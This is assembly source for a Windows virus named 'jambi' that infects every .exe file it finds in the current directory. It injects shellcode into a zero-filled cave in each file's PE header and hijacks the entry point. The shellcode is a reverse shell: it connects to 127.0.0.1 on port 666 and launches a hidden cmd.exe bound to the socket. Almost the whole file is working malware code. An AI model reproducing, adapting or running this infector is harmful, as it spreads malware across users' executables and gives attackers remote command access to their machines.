; jambi_keepSize.asm
; This version inject shellcode into header in a free area (a cave wich contain only 0)
; The infected file keep his size but avaible size to inject is very limited in some cases
;
; Windows api functions hash needed for Infector :
;  95DA3590 - kernel32.dll FindFirstFileA
;  4FDAF6DA - kernel32.dll CreateFileA
;  23F9CD0A - kernel32.dll CreateFileMappingA
;  757AEF13 - kernel32.dll MapViewOfFile
;  528796C6 - kernel32.dll CloseHandle
;  F76C45E7 - kernel32.dll FindNextFileA
;  56A2B5F0 - kernel32.dll ExitProcess
;

.386
.model flat,stdcall
option casemap:none

    include     \masm32\include\windows.inc

.data
    ;; Configuration
    FileMask            db  "*.exe",0

    ;; Some variables
    ShellCodeSize       dd  0
    FindHandle          dd  0
    FindData            WIN32_FIND_DATA <>
    FileHandle          dd  0
    FileContent         dd  0
    OldEntryPoint       dd  0

.code

;; Program start point
start:

Infector:
    mov eax,EndShellCode
    sub eax,ShellCode
    mov DWORD ptr [ShellCodeSize],eax           ; Initialization of ShellCodeSize

;; Find first file in current directory
_findFirstFile:
    push offset FindData                        ; lpFindFileData:LPWIN32_FIND_DATA
    push offset FileMask                        ; lpFileName:LPCTSTR
    push 95DA3590h                              ; push kernel32.dll.FindFirstFileA hash
    call FindNCall                              ; Find the first matching file
    test eax,eax
    jz _exit                                    ; If no file found Then Abort
    mov DWORD ptr[FindHandle],eax               ; Stock the returned value of FindFirstFile in FindHandle

;; Openning current file
_loopFile:
    xor eax,eax
    push eax                                    ; hTemplateFile:HANDLE
    push FILE_ATTRIBUTE_NORMAL                  ; dwFlagsAndAttributes:DWORD
    push OPEN_EXISTING                          ; dwCreationDisposition:DWORD
    push eax                                    ; lpSecurityAttributes:LPSECURITY_ATTRIBUTES
    push eax                                    ; dwShareMode:DWORD
    push GENERIC_WRITE or GENERIC_READ          ; dwDesiredAccess:DWORD
    push offset FindData.cFileName              ; lpFileName:LPCTSTR
    push 4FDAF6DAh                              ; push kernel32.dll.CreateFileA hash
    call FindNCall                              ; Opening file
    mov DWORD ptr[FileHandle],eax               ; Stock returned value in FileHandle
    cmp FileHandle,INVALID_HANDLE_VALUE
    je _nextFile                                ; If opening failed Then Proceed with next file

;; Mapping current file
_mapFile:
    xor eax,eax
    push eax                                    ; lpName:LPCTSTR
    push FindData.nFileSizeLow                  ; dwMaximumSizeLow:DWORD
    push FindData.nFileSizeHigh                 ; dwMaximumSizeHigh:DWORD
    push PAGE_READWRITE                         ; flProtect:DWORD
    push eax                                    ; lpAttributes:LPSECURITY_ATTRIBUTES
    push FileHandle                             ; hFile:HANDLE 
    push 23F9CD0Ah                              ; push kernel32.dll.CreateFileMappingA hash
    call FindNCall                              ; Mapping file
    cmp eax,INVALID_HANDLE_VALUE
    je _nextFile                                ; If mapping failed Then Proceed with next file

;; Getting curent file content
_getFileContent:
    xor ecx,ecx
    push FindData.nFileSizeHigh                 ; dwNumberOfBytesToMap:SIZE_T
    push ecx                                    ; dwFileOffsetLow:DWORD
    push ecx                                    ; dwFileOffsetHigh:DWORD
    push FILE_MAP_READ or FILE_MAP_WRITE        ; dwDesiredAccess:DWORD
    push eax                                    ; hFileMappingObject:HANDLE
    push 757AEF13h                              ; push kernel32.dll.MapViewOfFile hash
    call FindNCall                              ; Creating view of current file
    test eax,eax
    jz _nextFile                                ; If getting file content failed Then Proceed with next file
    mov DWORD ptr[FileContent],eax              ; Stock returned value in FileContent

;; Checking Dos magic number
_checkDosHeader:
    mov esi,FileContent                         ; esi = FileContent address
    assume esi:ptr IMAGE_DOS_HEADER             ; Assume register as a IMAGE_DOS_HEADER structure pointer
    cmp [esi].e_magic,IMAGE_DOS_SIGNATURE
    jne _nextFile                               ; If magic number is not DosExecutable magic number Then Proceed with next file

;; Checking PE signature
_checkPEHeader:
    add esi,[esi].e_lfanew                      ; esi = PE Header address
    assume esi:ptr IMAGE_NT_HEADERS             ; Assume register as a IMAGE_NT_HEADERS structure pointer
    cmp [esi].Signature,IMAGE_NT_SIGNATURE
    jne _nextFile                               ; If PE signature is not valid Then Proceed with next file

;; Searching for start offset to inject
_getStartOffset:
    mov edi,esi                                 ; edi = PE Header address
    add edi,sizeof (IMAGE_NT_HEADERS)           ; edi = First section address
    assume edi:ptr IMAGE_SECTION_HEADER         ; Assume as IMAGE_SECTION_HEADER
    mov edi,[edi].PointerToRawData              ; edi = Raw Data offset
    test edi,edi
    jz _nextFile                                ; If invalid pointer Then Proceed with next file

;; Calculating the old EntryPoint relative address
;; (AdressOfEntryPoint - PointerToRawData)
_calcOldEntryPoint:
    mov eax,[esi].OptionalHeader.AddressOfEntryPoint
    sub eax,edi                                 ; eax = old AddressOfEntryPoint offset - PointerToRawData offset
    mov DWORD ptr [OldEntryPoint],eax           ; Save Old entry point in OldEntryPoint
    xor eax,eax                                 ; Raz EAX

;; Checking if area is empty
_checkFreeArea:
    sub edi,ShellCodeSize                       ; edi = Raw Data offset - ShellCode length
    sub edi,05h                                 ; edi -= (size of jmp instruction + 1)
    add edi,DWORD ptr[FileContent]              ; edi = Address of where to inject
    push edi                                    ; Save edi
    mov ecx,ShellCodeSize                       ; ecx = ShellCode length
    add ecx,05h                                 ; ecx += size of jmp instruction
_loopZero:
    cmp BYTE ptr[edi],0h
    jne _nextFile                               ; If char .= 0 Then  Proceed with _nextFile
    inc edi                                     ; Increment EDI offset by one
    loop _loopZero                              ; loop while ecx > 0
    pop edi                                     ; Restore edi

;; Replacing Old EntryPoint by the new
_replaceEntryPoint:
    mov eax,edi                                 ; eax = Address of where to inject
    sub eax,DWORD ptr[FileContent]              ; eax = Offset of where to inject
    mov [esi].OptionalHeader.AddressOfEntryPoint,eax ; Replace the EntryPoint offset
    xor eax,eax                                 ; Raz eax

;; Writing ShellCode to inject
_writeCode:
    mov esi,offset ShellCode                    ; esi = pointer on ShellCode code
    mov ecx,ShellCodeSize                       ; ecx = ShellCodeSize
    rep movsb                                   ; copy shellcode to edi (current mapped file)
    
;; Writing Jump instruction
_writeJmpCode:
    push 0E9h                                   ; Push jmp opCode on the stack
    pop DWORD ptr[edi]                          ; Pop result from stack to current position in the file
    inc edi                                     ; Increment position in file by one
    push OldEntryPoint                          ; Push OldEntryPoint addr
    pop DWORD ptr[edi]                          ; Pop result from stack to current position in the file

;; If valid Handle Then close it
_nextFile:
    cmp FileHandle,INVALID_HANDLE_VALUE
    jne _getNextFile                            ; If not Valid FileHandle goto _getNextFile
    push FileHandle                             ; hObject:HANDLE
    push 528796C6h                              ; push kernel32.dll.CloseHandle hash
    call FindNCall                              ; Close FileHandle

;; Get the next file
_getNextFile:
    push offset FindData                        ; lpFindFileData:LPWIN32_FIND_DATA
    push FindHandle                             ; hFindFile:HANDLE
    push 0F76C45E7h                             ; push kernel32.dll.FindNextFileA hash
    call FindNCall                              ; Find next file
    test eax,eax
    jnz _loopFile                               ; If file found Then Proceed with next file

;; Exit program
_exit:
    push 0h                                     ; uExitCode
    push 56A2B5F0h                              ; push kernel32.dll.ExitProcess hash
    call FindNCall                              ; call ExitProcess (return 0)

;; This is the shellcode :) Here Api function addresses are hardcoded because of size issue
ShellCode:
    call _getLibHandle
    db 'ws2_32',0
_getLibHandle:
    mov ebx,76e72884h                           ; ebx = &LoadLibraryA
    call ebx                                    ; call LoadLibraryA
_wsaStartup:                     
    sub esp,0300h                               ; initialize WSAData (sizeof WSAData = 0x300)
    push esp                                    ; lpWSAData:WSAData
    push 02h                                    ; wVersionRequested:WORD = AF_INET
    mov ebx,755cc0fbh                           ; ebx = &WSAStartup
    call ebx                                    ; call WSAStartup
_createSocket:
    push eax                                    ; dwFlags:DWORD = 0
    push eax                                    ; g:GROUP = 0
    push eax                                    ; lpProtocolInfo:LPWSAPROTOCOL_INFO = 0
    push eax                                    ; protocol:int = 0
    inc eax                                     ; eax = 1
    push eax                                    ; type:int = 1
    inc eax                                     ; eax = 2
    push eax                                    ; af:int = 2
    mov ebx,755cb7fch                           ; ebx = &WSASocketA
    call ebx                                    ; call WSASocketA
    mov esi,eax                                 ; esi = returned file descriptor
_connectSocket:
    push 0100007fh                              ; struct sockaddr = 127.0.0.1
    push 9A020002h                              ; struct sockaddr = 666
    mov ebx,esp                                 ; ebx = struct sockaddr address
    push 10h                                    ; namelen:int = 16
    push ebx                                    ; name:const struct sockaddr = pointer on previously initialized struct sockaddr
    push esi                                    ; s:SOCKET = file descriptor returned by connect
    mov ebx,755c48beh                           ; ebx = &connect
    call ebx                                    ; Call connect
_initialize_process:
    mov ecx,54h                                 ; ecx = 0x54 (size of PROCESSINFORMATION and STARTUPINFO)
    sub esp,ecx                                 ; Allocate stack space for the two structures
    mov edi,esp                                 ; Set edi to point to the STARTUPINFO structure
    push edi                                    ; Save edi
_zero_structs:                 
    rep stosb                                   ; Write 0 in the two structures
    pop edi                                     ; Restore edi
_initialize_structs:           
    mov BYTE ptr [edi],44h                      ; STARTUPINFO.cb:DWORD = 0x44 (the size of the structure).
    inc BYTE ptr [edi+2dh]                      ; STARTUPINFO.dwFlags:DWORD = STARTF_USESTDHANDLES (indicate that the hStdInput, hStdOutput, and hStdError will be used)
    push edi                                    ; Save edi
    mov eax,esi                                 ; eax = file descriptor returned by connect
    lea edi,[edi+38h]                           ; Load the effective address of the STARTUPINFO.hStdInput:HANDLE
    stosd                                       ; STARTUPINFO.hStdInput:HANDLE = file descriptor returned by connect
    stosd                                       ; STARTUPINFO.hStdOutput:HANDLE = file descriptor returned by connect
    stosd                                       ; STARTUPINFO.hStdError:HANDLE = file descriptor returned by connect
    pop edi                                     ; Restore edi
_execute_process:              
    push 00646d63h                              ; push 'c' 'm' 'd' '\0' on the stack
    mov eax,esp                                 ; eax = pointer on "cmd" string
    lea esi,[edi+44h]                           ; esi = &PROCESS_INFORMATION structure
    push esi                                    ; lpProcessInformation:LPPROCESS_INFORMATION = esi
    push edi                                    ; lpStartupInfo:LPSTARTUPINFO = edi
    push ecx                                    ; lpCurrentDirectory:LPCTSTR  = 0
    push ecx                                    ; lpEnvironment:LPVOID = 0
    push 8000000h                               ; dwCreationFlags:DWORD = CREATE_NO_WINDOW
    inc ecx
    push ecx                                    ; bInheritHandles:BOOL = TRUE (client needs to inherit the socket file descriptor)
    dec ecx                    
    push ecx                                    ; lpThreadAttributes:LPSECURITY_ATTRIBUTES = 0
    push ecx                                    ; lpProcessAttributes:LPSECURITY_ATTRIBUTES = 0
    push eax                                    ; lpCommandLine:LPTSTR = adress of "cmd" string
    push ecx                                    ; lpApplicationName:LPTSTR = 0
    mov ebx,76e22062h                           ; ebx = &CreateProcessA
    call ebx                                    ; Call CreateProcessA
EndShellCode:
    ; Here jambi put a jmp instruction pointing on the OldEntrypoint
    
    include findncall.asm                       ; FindAndCall

end start